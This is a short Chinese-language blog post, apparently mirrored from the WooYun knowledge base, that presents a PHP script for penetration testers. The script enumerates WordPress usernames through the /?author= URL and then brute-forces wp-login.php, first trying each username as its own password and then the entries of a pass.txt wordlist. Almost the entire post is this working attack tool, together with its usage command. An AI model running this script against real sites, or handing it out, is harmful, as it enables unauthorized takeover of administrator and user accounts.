作者:
瞌睡龍
·
2013/09/17 15:04
在做滲透測試的時候,有時候會遇到一個wordpress部落格,如果版本比較新,外掛也沒有漏洞的話,可以爆破使用者名稱密碼來嘗試下。
大腦混沌情況下寫的,有bug歡迎提出,由於是php的所以跑起來比較慢,下次發包還是呼叫命令結合hydra來爆破。
原理是透過URL /?author=
遍歷獲取使用者名稱,然後先跑使用者名稱與密碼相同的使用者,再呼叫同目錄下pass.txt中的密碼檔案進行爆破。
預設獲取前10個使用者,可自行修改。
使用方法:
php wordpress.php http://www.test.com
#!php
<?php
set_time_limit(0);
$domain = $argv[1];
//獲取使用者名稱
for ($i=1; $i <= 10; $i++) {
$url = $domain."/?author=".$i;
$response = httprequest($url,0);
if ($response == 404) {
continue;
}
$pattern = "/author\/(.*)\/feed/";
preg_match($pattern, $response, $name);
$namearray[] = $name[1];
}
echo "共獲取使用者".count($namearray)."名使用者\n";
echo "正在破解使用者名稱與密碼相同的使用者:\n";
$crackname = crackpassword($namearray,"same");
$passwords = file("pass.txt");
echo "正在破解弱口令使用者:\n";
if ($crackname) {
$namearray = array_diff($namearray,$crackname);
}
crackpassword($namearray,$passwords);
function crackpassword($namearray,$passwords){
global $domain;
$crackname = "";
foreach ($namearray as $name) {
$url = $domain."/wp-login.php";
if ($passwords == "same") {
$post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $name"."\n";
$crackname[] = $name;
}
}else{
foreach ($passwords as $pass) {
$post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $pass"."\n";
}
}
}
}
return $crackname;
}
function httprequest($url,$post){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
if($post){
curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$output = curl_exec($ch);
$httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpcode == 404) {
return 404;
}else{
return $output;
}
}
?>
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!